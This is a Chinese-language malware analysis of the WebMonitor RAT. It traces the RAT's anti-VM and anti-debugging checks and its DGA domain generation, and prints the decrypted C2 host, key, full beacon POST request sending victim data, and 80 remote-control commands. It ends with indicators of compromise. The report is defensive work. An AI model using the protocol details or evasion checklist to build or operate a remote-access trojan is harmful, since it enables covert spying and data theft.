【流行威胁追踪】深度分析WebMonitorRAT远控木马

样本简介

之前分析过 伪装成Zoom安装包的WebMonitor RAT后门母体 部分,这里开始分析核心远控。WebMonitor RAT远控木马自2017年开始在国外黑客论坛发布,并且在持续开发中,覆盖PC与Android端,新的产品会存在新的功能。

除了在论坛发布以外,如果对其搜索,还会发现公网存在一个疑似合法的官方发布站点。如下,提供购买与演示,也可提供通过浏览器远程控制访问功能。

来到购买界面,发现采用每年付款的方式进行交付使用,可选择一年与半年时间,单价折合人民币价格不菲,看起来是个中规中矩的管理工具发布站点。

以上提供的功能有可以远控桌面控制,开启摄像头传输图像,获取麦克风音频输入,管理本地磁盘文件,获取键盘输入记录等,这些是普遍的RAT所具有的功能。作为一款商业远控,采用了C2-as-a-Service(C2aaS)模式分发, 即“命令与控制服务器即服务”,用户不需要搭建并运行自己的C&C服务,而是只需购买官方服务后,便可以使用它的所有功能。由于是采用付费使用的工具,想当然想了解下是否存在对应的破解版本,于是经过搜索,公网并没有找到任何该RAT工具的破解版本。值得一提的是,切记如下的所谓已破解工具实质非WebMonitor RAT远控,而是另一款远控,如果用户下载到本地实验时被无意运行后,则会连接至该作者的C&C服务端。

如下是给用户演示的版本,提供的功能还是挺丰富的,由于是演示版本,并没有列举所有可用功能,可通过浏览器对远程机器进行控制。

在浏览器中的实际控制面板,如下。

在2018年4月发布的有关WebMonitor的一篇文章中,Palo Alto Networks的研究人员指出,该产品主要在黑客论坛上进行广告宣传,其开发人员推广了该软件的几种特性,以此吸引那些希望秘密窃取PC机密信息的黑客。例如WebMonitor RAT可以对生成的客户端恶意软件进行加密、模糊处理与添加反分析,使其更难被反病毒程序检测到。

由于该RAT工具可以获取到远程受控机器的临时内存数据,并且可以从电子邮件中检索密码,受控机器的WIFI凭证等,同时该工具被安装时可以设置禁止弹出任何通知消息,以上行为表明这已经是一款恶意木马具有的行为了,所不同的是该工具被公开进行发售。该RAT工具目前已经被全球大多数杀毒软件归类到恶意软件家族,与此同时已被黑客进行非法使用,充当攻击媒介,部署在已被入侵的受害机器上。

关于该RAT工具的作者溯源,通过RevCode官网提供的信息发现是位于瑞典的一家合法公司,通过总部设在瑞典的信用信息服务Ratsit AB搜到了如下信息,可以查找到负责人。

更多有关WebMonitor RAT背后非常精彩的故事,详情可查看:https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/

样本分析

将核心远控从母体提取后,查询发现加了UPX壳,对其脱壳后如下。

分析后采用C++编写,最初的版本采用Visual Basic 6(VB6)编写,本次该样本编译时间为4月18日。

查找到较少的导入表,这也是恶意软件对抗反分析常采用的技巧之一。

字符串中发现如下开源项目痕迹,猜测图像处理时会采用该项目,这也符合提供可以图像传输的功能。

Copyright (C) 1991-2019 The libjpeg-turbo Project and many others

ImageMagick / jpeg-turbo:Windows版ImageMagick的jpeg-turbo

https://github.com/ImageMagick/jpeg-turbo

该RAT工具软件架构上采用多线程实现,第一个执行的线程会存在反虚拟机、反沙箱行为,以此阻止分析。

得到Temp目录路径,拼接路径:"C:\Users\onion\AppData\Local\Temp\rev-novm.dat",后续在本地存储获取的相关信息。

枚举当前系统服务,所有服务状态信息输出至XML格式。

计算fMain字符串的MD5,后续比对。

检测是否运行在虚拟机环境,例如:VMware Tools、QEMU-GA等服务名称。

产生批处理文件,作用是删除自身。

虚拟机检测完成后,进入Temp目录,之后进行注册表相关操作,目的是检测远程桌面服务环境。

采用rdtsc指令获取时间差进行反调试,防止运行在模拟环境。

判断等待的时间进行反分析,如下。

使用线程中的定时器队列进行反分析,如下。

采用线程上下文,进行反调试。

采用GlobalMemoryStatusEx函数进行反调试,会检索有关系统当前物理和虚拟内存使用情况的信息。

采用GetTickCount获取时间差进行反调试,调试的时候会导致时间间隔大于一秒。

采用cpuid指令进行反调试,如下。

会检测虚拟环境,例如:KVMKVMKVM、Microsoft Hv、VMwareVMware、XenVMMXenVMM、prl hyperv、VBoxVBoxVBox。

采用GetPwrCapabilities函数,检索有关系统电源功能的信息进行反调试。

采用WMI指令操作进行反分析,如下。

如下查询相关信息,进行反分析。

采用SMC一段代码,调用ring3反调试API,感觉有点多此一举。

采用ring3层API进行反调试,如下。

采用FS寄存器进行反分析,如下。

采用CheckRemoteDebuggerPresent 进行反调试,如下。

通过wine_get_unix_file_name会检测是否运行在wine环境

采用GetAdaptersInfo函数检索本地计算机的适配器信息进行反分析,如下。

后续还会检测是否存在"VMware SVGA 3D"进行反分析,如下。

由于该样本反分析的手段过多,暂不一一列举,经统计一共采用了24次反分析过程。

后续还有检测,检测当前进程信息。

解密字符串得到疑似C&C地址:"dabmaster.wm01.to"、端口:"443"、URL:"/recv7.php",硬编码值:"ifxBmG0Z7"、DNS:"sdns.se,1.2.4.8,114.114.114.114"、KEY:"MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ",如下。

产生一段随机的16字节数据:"anw3R7pQTGYsHilF"

第二段随机数据"rM7N0yU8nSHPnRze",对其MD5得到的值:"44796de8b3df9e68666bd67b8bdc12bc"后续会使用。

sub_4974B7的作用是收集一些系统用户信息,从这个函数开始,对之前获取的sdns.se(瑞典的公共DNS)进行DNS查询,得到DNS真实IP地址:185.61.148.26。

对抗静态分析的手段之一是样本会采用手动加载dll的方式调用,并调用指定的导出函数,从而调用所需的API函数,如下。

开始通信前,会访问NTP服务器进行时间校准。例如"0.se.pool.ntp.org",接收成功后如下。

以上是查询NTP服务器获取时间,以下是后续进行通信的DGA域名生成过程,首先是随机生成一段8位数拼接之前的疑似C&C子域前缀,之后对其MD5得到"060fd9010b51783dd5c1094cb60dadf3",该样本前缀为dabmaster。

对生成的随机域名指定DNS服务器查询:"-n 060fd9010b51783dd5c1094cb60dadf3.se -t A -s 185.61.148.26",DNS查询060fd9010b51783dd5c1094cb60dadf3.se,如下。

创建的互斥量为MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ3.00

获取当前系统时间,生成一段随机key,进行拼接产生最后请求时的keyauth值。

原数据:"MWxG5mDH1CADACOs|4bb602369965486c61d97c5b029f48db|43|18|27"

编码数据:"TVd4RzVtREgxQ0FEQUNPc3w0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnw0M3wxOHwyNw=="

HTTP请求的数据body部分:

"keyauth=TVd4RzVtREgxQ0FEQUNPc3w0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnw0M3wxOHwyNw==&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=bc9e336dcab42d6bc7dfad596c3e9f8d&user=dabmaster&cmp=0&enc="

设置User-Agent为WebMonitor Client,如下。

采用POST方式请求服务器,一旦获取到可用的IP,后续便会访问读取服务端返回的内容(指令)。

样本中存在的可疑字符串"WebMonitorstamp592",表明这是一个WebMonitor RAT的版本号。由于采用https的方式,相当于流量已加密,但可以根据请求的HOST与User-Agent来检测并阻断。后续与服务端握手成功后(共享密钥),开始收集本地各种信息,磁盘。系统版本与当前窗口,判断当前用户是否为管理员,当前用户名,当前计算机名,如下。

从之前的互斥量内容来判断,这是一个3.0版本。发送收集的数据至服务端:

Sending client data: 192.168.80.128|ONION-PC|onion|1|Microsoft Windows 7 Professional (x86)|4bb602369965486c71d97c5b029f48db|0|5ZC+5oSb56C06KejIC0aEVfMHg4MjYwMF9wYXRjaC5leGUgLSBbTENHIC0gIOe6v+eoiyAgMDAwMDA4MjQsIOaooeWdlyAtIFBFXzB4ODI2XQ==|4665|3.00.

通过WMI获取主板信息:"SELECT * FROM Win32_BaseBoard",获取序列号:"SerialNumber"等信息。

获取硬件信息GetCurrentHwProfileW:"{846ee340-7039-11de-9d20-806e6f6e6963}"。

收集用户信息,如下。

对注册表操作,获取MachineGuid。

实际的HTTP请求, 内容已解密如下,该处的mode为connect,目前处于连接状态。

POST /recv7.php HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: WebMonitor Client

Host: x.x.x.x

Content-Length: 428

Cache-Control: no-cache

mode=Y29ubmVjdA==&data=MTkyLjE2OC44MC4xMjh8T05JT04tUEN8b25pb258MXxNaWNyb3NvZnQgV2luZG93cyA3IFByb2Zlc3Npb25hbCAoeDg2KXw0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnwwfDVaQys1b1NiNTZDMDZLZWpJQzBnVUVWZk1IZzRNall3TUY5d1lYUmphQzVsZUdVZ0xTQmJURU5ISUMwZ0lPZTZ2K2VvaXlBZ01EQXdNREE0TWpRc0lPYW9vZVdkbHlBdElGQkZYekI0T0RJMlhRPT18NDY2NXwzLjAw&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=bc9e336dcab42d6bc7dfad596c3e9f8d&user=dabmaster&cmp=0&enc=0

如果握手成功,将会得到共享密钥。"Handshake successful! Shared Key = e40d9f92461ab59e519cce13572e15b6 (hex)"

其余线程实现其余功能,例如传输屏幕截屏数据,格式如下。

"mode=c2VuZF9wZGdfc2NyZWVuX3N0cmVhbV9zdGFydA==&t_id=&data="

后续开启线程进行键盘输入记录,线程核心函数sub_48AB24。

fn函数如下

新线程核心函数入口sub_48A953,一直检测对应标志等待服务端发送指令,如果标志存在,则会发送记录的键盘输入数据至服务端。

新线程sub_4CF5EB,根据不同的系统位数(分为32位与64位系统环境)会修改注册表设置自启动。

可执行文件名的后4个字符为之前随机产生的字符串4bb6,如下。

新线程核心函数入口sub_4C33AB,作用是获取到的当前活动窗口名称,例如:5ZC+5oSb56C06KejIC0gUEVfMHg4MjYwMF9wYXRjaC5leGUgLSBbTENHIC0gIOe6v+eoiyAgMDAwMDA5RDAsIOaooeWdlyAtIFBFXzB4ODI2XQ==

解码后:吾愛破解 - PE_0x82600_patch.exe - [LCG -  线程  000009D0, 模块 - PE_0x826]

获取到的所有指令功能信息,一共80个。

APPLICATIONS_GET

APPLICATIONS_UNINSTALL

APP_CMD

APP_INTERVAL_SET

APP_MAX_FILE_SIZE

APP_MAX_PACKET_SIZE

AUDIO_DRIVERS

AUDIO_SNAPSHOT

AUDIO_STREAM_START

AUDIO_STREAM_STOP

CLIPBOARD_CLEAR

CLIPBOARD_GET

CLIPBOARD_SET

CONNECTIONS_CLOSE

CONNECTIONS_GET

DEVICES_GET

DEVICE_STATE

DRIVES_GET

DRIVE_OFFSETS_READ

DRIVE_OPERATIONS_INFO

DRIVE_SECTORS_WRITE

FILES_GET

FILE_COPY

FILE_DELETE

FILE_DOWNLOAD

FILE_EXEC

FILE_MOVE

FILE_UPLOAD

FILE_DOWNLOAD_EXEC

HARDWARE_GET

HARDWARE_GET_PROPERTY

KEYLOG_DEL

KEYLOG_GET

KEYLOG_STREAM_START

KEYLOG_STREAM_STOP

NET_INTERFACES

PDG_EXEC

PDG_REV_PROXY_START

PDG_REV_PROXY_STOP

SSL_SCREEN_START

SSL_SCREEN_STOP

PDG_SCREEN_STREAM_START

PDG_SCREEN_STREAM_STOP

PRC_GET

PRC_PRIORITY

PRC_RESUME

PRC_SUSPEND

PRC_TERMINATE

REG_ADD_KEY

REG_ADD_VALUE

REG_DELETE_KEY

REG_DELETE_VALUE

REG_EDIT_VALUE

REG_GET_KEYS

REG_GET_VALUES

REG_RENAME_VALUE

SCREEN_MONITORS

SCREEN_SNAPSHOT

SCREEN_STREAM_START

SCREEN_STREAM_STOP

SERVICES_GET

SERVICES_PAUSE

SERVICES_RESUME

SERVICES_START

SERVICES_STOP

SERVICES_UNINSTALL

SHELL_EXEC

SHELL_START

SHELL_STOP

SYS_INFO

THUMBNAIL_GET

WEBCAM_DRIVERS

WEBCAM_SNAPSHOT

WIFIAP_START

WIFIAP_STOP

WEBCAM_STREAM_START

WEBCAM_STREAM_STOP

WND_CMD

WND_GET

WND_PATCH

控制指令采用hash比对的形式

统一的线程入口都为0048F578,采用多线程运行,每个线程里执行的核心函数都是动态加载的。

采用了开源项目来对图像进行处理,便于本地获取并后续传输。

运行流程图

威胁情报

HOST

[md5(8位随机数字+dabmaster)].se(属于DGA生成域名,例如3525d348e373a4400c36b372b54088e2[.]se、81bad81f3efd4b461489b9a4df85eeb6[.]se,真实IP为实际C&C服务器,该样本为:213[.]188[.]152[.]96:443)

SDNS

sdns.se(瑞典公共DNS)

URL

https://213[.]188[.]152[.]96/recv7.php

dabmaster.wm01.to

HASH

FF341DFF3CAA325C07BBDFEF8D426DDE

5897D25B98492F2EC9EA7A958D9392A6

解决方案

深信服下一代防火墙AF、终端检测响应平台EDR、安全感知平台SIP等安全产品均能有效检测防御此恶意软件,已经部署相关产品的用户可以进行安全扫描,检测清除此恶意软件,如图所示:

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章